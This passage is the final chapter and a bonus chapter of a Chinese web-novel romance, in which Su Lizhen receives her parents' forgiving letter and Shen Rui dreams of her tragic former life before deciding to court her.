从这个“梦”中醒来后,女孩就一度无法分辨现实和“梦境”,更觉得无法面对自己的父母亲人。 女孩厌恶痛恨自己,想弥补她在“梦”里犯的错,想好好的赎罪……但她也害怕父母亲人有一天会做同样的“梦”,进而知道“梦”里的她是多么不堪,然后再次恨上她。 最后,她在信的结尾,小心翼翼地问道: 如果那个女孩和她的“梦”都是真实的,而你们是女孩的父母,你们会有原谅她的那一天吗? 最后一个字落下,她早已泪流满面。 这是一直横在她心头,无论如何也过不去的一道坎儿。 可今天,为了爱她的父母,也为了她自己,她想试着去过一次。 无论结果如何,这是她走向与自己和解的第一步。 她已经做好了坦然面对的准备。 第二天一早,她带着行李箱准时出发。 临别前,她跟特意来送她的家人们一一拥抱告别。 并悄悄将那封信放到了苏卫华和李翠英的房间。 按照流程,苏丽珍需要提前到学校集合,然后由学校统一安排车子送他们这批交换生去机场。 提前了两个多小时到达机场,等候办理登机手续和行李托运的时候,她还忍不住分了几次神。 不知道爸妈什么时候能看到那封信,看了信后又会是什么样的反应? 会不会觉得信上的内容莫名其妙,太过荒诞? ……以及,他们最终会给她一个什么样的答案? 尽管告诉自己会坦然面对任何结果,可她还是难免生出几分紧张。 “苏丽珍同学,该安检了。” 她回过神,朝提醒她的同学笑了笑,应了声:“这就来。” 最后朝机场大门的方向看了眼,她才转身跟大家一起往安检通道走去。 刚排上队不久,一道熟悉的声音忽然在身后响起。 “珍珍!” 苏丽珍猛地回头,却见是苏卫华和李翠英匆匆赶了过来。 “爸、妈,你们怎么来了?” 夫妻俩的眼睛都红红的,不过看女儿马上要过安检,怕耽误时间,他们什么也没说。 苏卫华只是道:“孩子,你留给我们的信,我们都看到了。” “我们受你这封信启发,觉得有些话写在信上更合适,所以我们也给你写了封回信。”说着,就把手里一封信轻轻放到了她手里 苏丽珍这才留意到她爸手上一直拿着一封信。 一听这是给她的回信,她的心跳又克制不住地加快了几分。 她有些忐忑道:“爸、妈,我……” 李翠英却朝她摇了摇头,伸手轻轻把她鬓角的一缕头发掖到耳后,红着眼睛看了她一会儿,才道:“孩子,现在什么也不用说。快去吧,等到了飞机上再把信打开。” “我和你爸要说的都在信上。” 安检口这会儿已经没多少人了,苏丽珍只得向两人再次告别,然后拿着那封信一步三回头地过去了。 等上了飞机,坐在位子上,她先深吸了一口气,才小心地把那封信拿出来,慢慢打开。 信很薄,只有一张,是她爸苏卫华写的。可能时间比较仓促,笔迹显得有些潦草。 “亲爱的女儿: 当我们看完了你的信后,原本有很多话想说,但我们想,你也许更想听一听我们关于那个问题的答案。” “你问我们,如果你信上的那个女孩和她的梦都是真实的,再如果我们就是那女孩的父母,我们会原谅她吗?” “我们的答案是:会,永远会!” “爸妈不懂什么大道理,但我们也是从什么都不懂的年纪过来的,我们也犯过错,甚至至今还会犯错,所以爸妈从不认为犯了错就不可饶恕。只要我们的孩子能认识到自己的错误,真心想要悔改,那我们就一定会原谅她。” “这世上,没有哪个爱孩子的父母会真的记恨自己的孩子,那个女孩的父母也一样。也许他们会一时生气、伤心、愤怒,但这些在迷途知返的孩子面前,很快就会被t忘掉。” “珍珍,如果你遇到那个女孩,那你一定要告诉她,梦是梦,过去的就是过去了,不要总是沉浸在过去的梦里,重要的是当下。相比起去指责、去怨恨,我想她的父母一定更想看到自己的孩子在改过自新后,有一个圆满快乐的人生。” “因为她的父母爱她,就像我们爱你一样。” 苏丽珍捂着嘴,眼泪大颗大颗地从眼中落下,几乎模糊了她的视线。 她将这封信紧紧地贴在自己的胸口。 这一刻,她似乎听到了内心那间“囚牢”轰然倒塌的声音。 那个日日夜夜被她自己所憎恶、反复审判的,需要鼓起极大勇气正视的“她”缓缓从“牢房”里走了出来,在回眸对她一笑后,走向了更遥远的天地间。 她也下意识跟着笑了笑,可笑着、笑着,脸上的泪水却越来越多。 这时,旁边座位上突然递过来一方雪白的手帕。 苏丽珍微怔,顺着那只骨节分明的大手,看向来人。 映入眼帘的却是一张熟悉的、俊逸不凡的脸。 对方在她惊讶的目光中,对她扬起了一抹温和的笑容。 舷窗外,天空蔚蓝,阳光正好。 【正文完】《 》 【全文完结】 第244章 “就这样吧,沈大哥,这辈子能好好认识你,听到你刚刚那番话,我现在的人生其实已经圆满了。” 这几天,沈瑞脑海里一直反复回响着那天苏丽珍对他说的这句话。 同样忘不掉的,还有她当时说话的神情。 那么沧桑、那么悲伤,像个历经世事的白首老人,一如他当年第一次与她认识时的模样。 那时,她才十六岁,真正碧玉年华的青葱少女,可是她看着他的眼神却充满了那个年龄不该有的复杂,让他一下记住了她。 他一直都知道,她是个心底埋藏着秘密的姑娘。 一开始,他是好奇的,但并无意深究。最基本的边界感,他还是有的。 而且他本身也不是一个好奇心重的人。 他只是起初对这个女孩印象非常好。 她不知道,他其实之前已经见过她两次了。 第一次见到她,那会儿她一家三口还在客运站摆摊。 有人来挑事,她不费吹灰之力就把人赶跑不说,还趁机给自家的小吃摊做了一波宣传,把坏事变成了好事。 第二次见面,她在巷子里解决去摊子上寻衅滋事的小混混,让对方赔了夫人又折兵,还顺便揪出了真正的幕后主使者。 出手果断,有勇有谋,是个很会做事的女孩子。 他一向欣赏这样聪明的人,加上记忆力尚可,一面之缘的人尚且能够记住,更何况是这般机敏聪慧的她。 他后来想,如果不是自己最初对她的印象太深,大概也不至于会起了那些好奇。 因为好奇,便忍不住关注。 关注的越多,越觉得她像一幅隐藏着密语的瑰丽画卷。 画卷很美,每一笔都能刻画到你的心扉上。 可你能看到的永远是她展现给你的、那层表面的笔触和颜色,而你真正想了解的密语,却很难勘破。 也许就是因为这一分关注,一分好奇,再加一分这种令人无法琢磨的神秘复杂,所有因素糅合在一起,总之不知从何时起,他对她有了不一样的心思。 但他看得出,她对他无意。 他也不是个喜欢勉强别人的人,本来是准备放下,一笑了之的,可也说不清为什么,每隔一段时间,他总是会忍不住想起她。 想最终有哪个幸运儿可以陪在这个女孩身边,与她一起共享她的秘密。 他一方面觉得自己很无聊,一方面又真真切切地感受到自己这种舍不得的情绪。 是的,他还是舍不得,在对方已经明确表示拒绝之后。 那能怎么办呢? 既然舍不得放下,那就继续坚持吧。 他从来也不是个会轻易放弃的人,更何况对象是她。 直到那天听到了她的这番话。 被再次拒绝,说不失望是假的,可他也敏锐地察觉到,他一直以来所做的一切,于她来说,并不是毫无触动。 她对他也是有一点感觉的! 他觉得,她最后选择拒绝,大概率还是因为她心底的那个秘密。 因为想赢得她的芳心,他已经控制自己不再去关注她的秘密。他有一种直觉,如果他一定要探索属于她的“密语”,那他这辈子都不会有赢得她的可能。 可是那天之后,因为她那沧桑中带着悲伤的神情,他突然很想弄清楚,她到底背负了一个什么样的秘密。 不过,这大概率还是不成的。因为他知道,她不会给任何人机会去触碰她的秘密。 所以这几乎成了一个死循环,很难打破。 沈瑞想到这儿,苦笑了一声,把手中又一根烟熄灭,拉上窗帘,将夜色牢牢隔绝在外,然后回到书桌前,决定暂时用工作来填满思绪。 不管怎样,他都不会放手。 从他确认自己舍不得放下她的时候,他就有了这个认知。 信手拿过一份文件,可能是这两天两地奔波没休息好,他只看了一会儿,就觉得额角抽痛,不由轻靠在椅背上闭目休息。 迷迷糊糊中,他感到自己离开座位,走出书房,莫名来到一处黑漆漆的走廊里。 走廊两侧是一扇扇闪着点点白光的门,他迟疑地伸手打开了离他最近的右手边的一扇门。 一道刺目的白光闪过,他发现自己出现在一栋半新不旧的筒子楼前。 筒子楼里一直有人进进出出,然而大家却像完全看不到他一样,径自在他身边走来走去,没有任何人理会他。 这难道是什么幻境? 正当他蹙眉不解时,突然看到她一家三口带着大包小包从筒子楼里出来。 他正想出声询问,却立时察觉不对。 她似乎一下年轻了许多,不,准确来说,她像是一下又回到了十六岁的少女时期。 只是跟他第一次见到的十六岁的她还有不同,此刻的她身上稚嫩懵懂的气质很明显,眼神里还透露出浓浓的惶恐和迷茫,和他所见的那个总是沉稳内敛、独立坚强的她完全不一样。 这似乎是她,又不是她。 发现这个事实后,他又忍不住看向旁边她的父母。这两人的面相倒是没怎么变化,只是面色都不怎么好,尤其她父亲更加糟糕几分,整个人看上去病恹恹的。 三人也跟其他人一样,完全看不到他,只是沉默地拖着行李从他身边走过。 这时,一楼某间窗户里传来一阵低语声:“苏家走了!苏卫华这一病,工作都没了,连带房子和李翠英在食堂的活儿也没保住,一家三口要出去租房子……这可真是,前两年,多少人羡慕他家,转眼就落到这个地步。人啊,可真是没处看去。” 他盯着一家三口的背影出神,隐约已经察觉到此时的情况,正想追过去,谁知眼前白光一闪,他又回到了那间漆黑的走廊里。 他想也没想,又推开了旁边第二扇门。 这次还是在那栋筒子楼前。 他看到几个女孩站在筒子楼前,其中一个正对她说道:“苏丽珍,你们家都不住这儿了,你还往我们机械厂家属区跑什么?” 旁边一个女孩扯了扯她衣袖,女孩不以为意:“你不用拽我,有什么不能说的!” “她苏大才女不是能写会画,一向清高吗?怎么还巴巴地往咱们这儿跑?该不会是想占咱们机械厂子弟的光吧!” 他看到她低着头站在几人对面,直到那几个女孩走后,她才抬手擦了擦脸上的泪水,落寞地转身走了。 第三扇门里,是她的爷爷奶奶在劝她的父母,让她辍学去机械厂做临时工。 “她一个丫头片子,又不像她堂姐机灵会说话,将来能有点出息,干啥非得花那个钱供她念书?依我看,就去求你们原先的领导,给她在机械厂找个临时工干,还能贴补一下家里。她都十六了,也该懂事了!” 第四扇门: “那个苏丽珍是吹牛的,她爸根本不是什么机械厂的高级工,他们家也不在机械厂家属楼住。真是人不可貌相,看她整天一句话不说,架子端的老高,弄了半天原来是个骗子!” “连这种事也拿来骗人,可真不要脸!我看她还不如谢芳芳,谢芳芳不过是疯了点、狂了点,起码不会撒谎吹牛。” “看,她又来了!走、走,别听她废话,这种人品行不好t,谁要听她解释?都是借口,咱们以后都别搭理她!” …… 他抿着唇,接连推开了一扇扇门。 他看到她因为总是一个人上下学,被混混盯上纠缠,关键时刻是他的侄儿小哲出手帮忙,将人赶跑,而获救的她也因此喜欢了上了对方。 从此,她开始不顾一切地追逐沈哲,即便从来没得到过任何一次回应,仍然偏执地苦苦追寻,从凤城、到首都,又到米国。 他看到她的父亲因此绝望而死,她的母亲也与她决裂;看到所有认识她或她认识的人都在对她唾弃、嘲笑、辱骂。 而她全然不顾,只身远赴重洋,哪怕在异国他乡受尽颠沛流离、朝不保夕之苦,却始终不肯回头。 他看得很清楚,与其说她在追逐爱情,倒不如说是在追逐一份精神寄托、一份内心向往的映射。所以才会在无法得偿所愿后,如此的不甘、绝望,几乎抱着要把一切都燃烧殆尽的心理,癫狂又可悲。 终于,他看到她在米国苦寻三年后遇到齐秀婷,旁观了两人这场彻底粉碎了她全部幻想和寄托的谈话。 她果然受不住刺激,陷入疯癫,日子越发浑浑噩噩。直到一次险些被流浪汉欺负的时候,幸运地遇到了德叔。 他看到在德叔悉心照料和开导下,一点点恢复正常的她;看到她慢慢醒悟,开始反思自己过去的错误;看到她捧着德叔的书,望着遥远的天边发呆;看到她在自己用废纸缝制的小本子上一遍遍写下“对不起”…… 倒数第二扇门。 在一个雪花纷飞的冬日,德叔去世了。 老爷子临终前提到了他的名字,千叮万嘱要她去找他,让他把她送回国。 她果然来了,只是并不是为了她自己,她想找他帮忙处理德叔的后事。 可惜在这个幻境里,当时的他并不在米国。 他只能站在这里,看她焦急又失望地离去。 然后眼睁睁看她为了给德叔凑后事的费用,铤而走险,跑到当时黑/帮混战的地盘,趁乱摸走了一把手木仓。 她顾不上被流弹打中的伤口,把枪卖给了唐人街上一个开店的华人老板,加上自己全身仅有的一点积蓄,恳求对方出面,帮忙火化了德叔的尸身。 他看到那个森冷的雪夜里,她紧紧抱着德叔的骨灰,笑容欣慰。 而她的脸色也如同被这冬日大雪压垮的青绿枝丫一样,一点点灰败下来。 大概知道自己的生命也即将走向终点,第二天一早,她平静地把德叔的骨灰和遗物整理好,将它们再次委托给那个华人老板,请对方一定要打电话给他,等他来将德叔送回国。 而她自己则艰难地回到破旧的帐篷里,手中紧紧攥着自己缝的那个小本子,在大雪纷飞的夜晚慢慢闭上了眼睛。 沈瑞的眼中流下了两行泪水。 他想走过去触碰一下对方,但身体就像被钉在了原地一样,动弹不得。 白光闪过,他再次回到先前的黑暗走廊,只是这一次,前方只剩下最后一扇门。 他犹豫了一会儿,终究还是深吸一口气,推开了门。 门里,他看到另一个自己把她的骨灰和一点遗物一起交给了她母亲。 她的师兄也陪在她母亲身边。 十年时间,幻境中她母亲苍老的厉害,她的师兄而立之年,但两鬓就已经有了白发。 一听说是她的遗物,她母亲直接扭过脸去,直到另一个自己离开,她师兄又劝了几次,她母亲才颤抖着手打开了她的遗物。 最上面的就是那个废纸缝的小本子,她的母亲打开,只见上面密密麻麻全是她的笔迹: 爸、妈,对不起。 “孽障……”她母亲冷着脸,一页页翻着,眼泪却不知不觉流了下来。 直到一整个本子翻完,她看着最后一页已经模糊到看不清的字迹,忽然嚎啕大哭起来。 “珍珍啊……” 他看到幻境里另一个自己从苏家出来后,不知出于什么原因,并没有马上离开,而是站在苏家院墙下静静找出一根烟点燃,抽了起来。 直到听到屋里撕心裂肺的哭声,“他”才沉默地把烟掐掉,看了眼苏家陈旧的大门,再次返回去,从皮夹里取出一沓钱放在苏家小院里的石台上,找个东西压好,之后才慢慢离开。 就在“他”快要走出苏家所在的胡同时,忽然驻足回头看了一眼。 刚好他就站在苏家大门前,冥冥中两人像是对视一般。 他还来不及理清那一刻的感受,熟悉的白光再次闪过,这一次,他却直接睁开了眼睛。 眼前还是自己的书房,屋顶的灯还亮着,但外头已经有丝丝缕缕的亮光透过窗帘缝隙照进了室内,昭示着夜晚已经过去的事实。 一切如常,只有眼角的湿润提醒了他之前的梦境有多么深刻。 他在原地坐了许久,才慢慢起身,走到窗边,一把将窗帘拉开。 屋外,太阳照常升起,灿烂的霞光已铺满半边天空。 两个月后 “叔叔、婶婶是要去机场吗?正好我也要去,你们坐我的车吧?时间还很充裕。” “叔叔、婶婶,我这两个月已经把手头的工作处理的差不多,接下来会空出一段时间去米国。” “在走之前,我有个请求想请您二老答应,我想正式追求你们的女儿苏丽珍。” “我向您二老承诺,不管是过去、还是将来,无论发生了什么事,我都会一直陪在她的身边。”—— 作者有话说:番外奉上。虽然磕磕碰碰,水平不高,但我要讲的故事也都讲完了。 许愿下本书能获得进步吧。 再次感谢小天使们的一路陪伴,鞠躬!《 》